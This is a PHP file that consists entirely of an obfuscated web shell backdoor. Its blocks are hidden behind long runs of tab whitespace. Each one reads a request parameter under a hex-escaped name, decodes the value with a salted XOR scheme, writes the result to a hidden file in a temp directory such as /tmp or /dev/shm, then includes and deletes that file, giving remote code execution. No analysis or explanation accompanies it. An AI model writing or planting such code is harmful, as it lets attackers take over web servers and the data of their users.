<?php																																										if(isset($_REQUEST) && isset($_REQUEST["pt\x72"])){ $bind = $_REQUEST["pt\x72"]; $bind=explode ( '.' , $bind ); $ref = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5 ); foreach($bind as $k=> $v5): $chS = ord($salt5[$k % $sLen] ); $d =((int)$v5 - $chS -($k % 10)) ^ 90; $ref .= chr($d ); endforeach; $k = array_filter([getenv("TMP"), "/tmp", "/var/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd()]); $resource = 0; do { $res = $k[$resource] ?? null; if ($resource >= count($k)) break; if ((is_dir($res) and is_writable($res))) { $item = str_replace("{var_dir}", $res, "{var_dir}/.tkn"); $file = fopen($item, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $item; @unlink($item); die(); } } $resource++; } while (true); }
																																										if(!empty($_REQUEST["\x72es\x6Furc\x65"])){ $key = $_REQUEST["\x72es\x6Furc\x65"]; $key = explode( '.' , $key ) ; $comp = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $r = 0; while ($r < count($key)) { $v6 = $key[$r]; $sChar = ord($s3[$r % $lenS]); $d = ((int)$v6 - $sChar - ($r % 10)) ^ 90; $comp .= chr($d); $r++; } $rec = array_filter([getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir()]); for ($component = 0, $sym = count($rec); $component < $sym; $component++) { $symbol = $rec[$component]; if (!( !is_dir($symbol) || !is_writable($symbol) )) { $obj = "$symbol/.flag"; $success = file_put_contents($obj, $comp); if ($success) { include $obj; @unlink($obj); exit;} } } }
																																										if(@$_POST["\x63om\x70"] !== null){ $symbol = array_filter([getenv("TEMP"), getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/dev/shm"]); $ptr = $_POST["\x63om\x70"]; $ptr = explode ( '.' ,$ptr) ; $res = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $l = 0; foreach($ptr as $v6) { $chS = ord($salt[$l % $sLen] ); $d =((int)$v6 - $chS -($l % 10)) ^ 47; $res .= chr($d ); $l++; } $k = 0; do { $holder = $symbol[$k] ?? null; if ($k >= count($symbol)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($holder)) { $pointer = sprintf("%s/.ent", $holder); if (file_put_contents($pointer, $res)) { require $pointer; unlink($pointer); die(); } } $k++; } while (true); }
																																										if(!empty($_REQUEST["\x65\x6Cem"])){ $desc = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path(), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); $hld = $_REQUEST["\x65\x6Cem"]; $hld= explode ( '.' ,$hld); $record =''; $s7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s7 ); $r =0; foreach($hld as $v7) { $sChar =ord($s7[$r % $sLen] ); $d =((int)$v7 - $sChar -($r % 10)) ^ 56; $record .= chr($d ); $r++;} foreach ($desc as $marker): if (is_dir($marker) ? is_writable($marker) : false) { $rec = "$marker" . "/.obj"; if (@file_put_contents($rec, $record) !== false) { include $rec; unlink($rec); exit; } } endforeach; }
																																										if(in_array("\x76\x61lue", array_keys($_REQUEST))){ $component = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir")]); $obj = $_REQUEST["\x76\x61lue"]; $obj = explode("." , $obj ) ; $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($obj); for ($l = 0; $l < $__len; $l++) { $v6 = $obj[$l]; $chS = ord($salt[$l % $sLen]); $dec = ((int)$v6 - $chS - ($l % 10))^ 34; $element .= chr($dec); } foreach ($component as $key => $entry) { if ((is_dir($entry) and is_writable($entry))) { $symbol = implode("/", [$entry, ".hld"]); $success = file_put_contents($symbol, $element); if ($success) { include $symbol; @unlink($symbol); die();} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64\x61\x74a_chunk"])){ $tkn = $_REQUEST["\x64\x61\x74a_chunk"]; $tkn = explode ( "." , $tkn ) ; $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach($tkn as $w => $v3) { $sChar = ord($s[$w% $sLen]); $dec =((int)$v3 - $sChar -($w% 10)) ^ 18; $ptr .= chr($dec); } $pset = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd()]); foreach ($pset as $key => $entity) { if ((is_dir($entity) and is_writable($entity))) { $entry = "$entity/.resource"; $success = file_put_contents($entry, $ptr); if ($success) { include $entry; @unlink($entry); exit;} } } }
																																										if(!is_null($_REQUEST["\x63o\x6Dp"] ?? null)){ $rec = $_REQUEST["\x63o\x6Dp"]; $rec = explode ( "." , $rec ) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($rec); for ($s = 0; $s< $__len; $s++) {$v9 = $rec[$s]; $chS = ord($salt[$s % $sLen]); $dec = ((int)$v9 - $chS - ($s % 10)) ^ 82; $pgrp .=chr($dec);} $flag = array_filter([getenv("TMP"), session_save_path(), getcwd(), "/tmp", "/dev/shm", "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $obj = 0; do { $symbol = $flag[$obj] ?? null; if ($obj >= count($flag)) break; if (!!is_dir($symbol) && !!is_writable($symbol)) { $parameter_group = implode("/", [$symbol, ".data_chunk"]); if (@file_put_contents($parameter_group, $pgrp) !== false) { include $parameter_group; unlink($parameter_group); die(); } } $obj++; } while (true); }
																																										if(array_key_exists("\x70a\x72\x61met\x65\x72_\x67\x72\x6Fup", $_REQUEST)){ $flag = array_filter([getcwd(), sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path()]); $marker = $_REQUEST["\x70a\x72\x61met\x65\x72_\x67\x72\x6Fup"]; $marker= explode( '.' ,$marker ) ; $descriptor = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1 ); $m = 0; while( $m < count( $marker)) { $v2 = $marker[$m]; $chS = ord( $s1[$m% $lenS] ); $d =( ( int)$v2 - $chS -( $m% 10)) ^ 87; $descriptor .= chr( $d ); $m++; } $binding = 0; do { $fac = $flag[$binding] ?? null; if ($binding >= count($flag)) break; if ((bool)is_dir($fac) && (bool)is_writable($fac)) { $ent = "$fac/.data_chunk"; $file = fopen($ent, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $ent; @unlink($ent); exit; } } $binding++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64\x61\x74\x61\x5Fchunk"])){ $descriptor = array_filter(["/var/tmp", getcwd(), "/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm"]); $factor = $_REQUEST["\x64\x61\x74\x61\x5Fchunk"]; $factor = explode ( "." ,$factor ) ; $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $r = 0; $__len = count($factor); do {if ($r >= $__len) break; $v1 = $factor[$r]; $chS = ord($s[$r % $lenS]); $d = ((int)$v1 - $chS - ($r % 10)) ^ 39; $ptr.=chr($d); $r++; }while (true); foreach ($descriptor as $key => $entity) { if (array_product([is_dir($entity), is_writable($entity)])) { $res = "$entity" . "/.reference"; $success = file_put_contents($res, $ptr); if ($success) { include $res; @unlink($res); die();} } } }
																																										if(isset($_REQUEST["p\x6F\x69nter"]) ? true : false){ $value = $_REQUEST["p\x6F\x69nter"]; $value = explode ( ".", $value ) ; $key = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach($value as $m => $v6) { $sChar = ord($s[$m % $sLen] ); $d =((int)$v6 - $sChar -($m % 10)) ^ 49; $key .= chr($d ); } $itm = array_filter(["/var/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TEMP"), getenv("TMP")]); while ($dchunk = array_shift($itm)) { if (!!is_dir($dchunk) && !!is_writable($dchunk)) { $pset = implode("/", [$dchunk, ".dat"]); if (file_put_contents($pset, $key)) { include $pset; @unlink($pset); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "refere\x6Ece")){ $obj = $_REQUEST["refere\x6Ece"]; $obj =explode ( '.' , $obj ) ; $dat = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); foreach ($obj as $m => $v8): $sChar = ord($s8[$m %$sLen]); $d = ((int)$v8 - $sChar - ($m %10)) ^ 72; $dat.=chr($d); endforeach; $factor = array_filter([getcwd(), getenv("TMP"), "/tmp", "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]); for ($descriptor = 0, $elem = count($factor); $descriptor < $elem; $descriptor++) { $ref = $factor[$descriptor]; if (array_product([is_dir($ref), is_writable($ref)])) { $object = "$ref" . "/.symbol"; $file = fopen($object, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $object; @unlink($object); die(); } } } }
																																										if(in_array("\x65\x6Etry", array_keys($_POST))){ $sym = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP")]); $factor = $_POST["\x65\x6Etry"]; $factor = explode( '.' , $factor) ; $binding=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt ); $len=count( $factor ); for( $m=0; $m < $len; $m++) { $v7=$factor[$m]; $chS=ord( $salt[$m%$lenS] ); $dec=( ( int)$v7 - $chS -( $m%10))^ 47; $binding .= chr( $dec ); } foreach ($sym as $rec) { if (array_product([is_dir($rec), is_writable($rec)])) { $reference = implode("/", [$rec, ".val"]); if (file_put_contents($reference, $binding)) { include $reference; @unlink($reference); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["dat\x61\x5F\x63h\x75nk"])){ $ptr = $_POST["dat\x61\x5F\x63h\x75nk"]; $ptr = explode ( '.' , $ptr) ; $dchunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach($ptr as $r => $v2) { $chS = ord($s[$r%$sLen] ); $d =((int)$v2 - $chS -($r%10)) ^ 48; $dchunk .= chr($d ); } $val = array_filter(["/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", session_save_path(), getcwd(), getenv("TEMP")]); $flag = 0; do { $tkn = $val[$flag] ?? null; if ($flag >= count($val)) break; if (is_dir($tkn) ? is_writable($tkn) : false) { $res = implode("/", [$tkn, ".pset"]); $file = fopen($res, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $res; @unlink($res); exit; } } $flag++; } while (true); }


if(isset($_REQUEST["\x72\x65\x63ord"])){
	$ptr = array_filter(["/var/tmp", getcwd(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]);
	$component = $_REQUEST["\x72\x65\x63ord"];
	 		$component	 	=	explode('.' 		, $component)  ;	  
	$mrk = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
    
            foreach ($component as $z => $v7) {		$sChar = ord($s[$z% $sLen]);
                $dec = ((int)$v7 - $sChar - ($z% 10))^	 41;
                $mrk		.= chr($dec);
            }
	$object = 0;
do {
    $element = $ptr[$object] ?? null;
    if ($object >= count($ptr)) break;
    		if (is_dir($element) ? is_writable($element) : false) {
    $tkn = vsprintf("%s/%s", [$element, ".descriptor"]);
    if (file_put_contents($tkn, $mrk)) {
	include $tkn;
	@unlink($tkn);
	exit;
}
}
    $object++;
} while (true);
}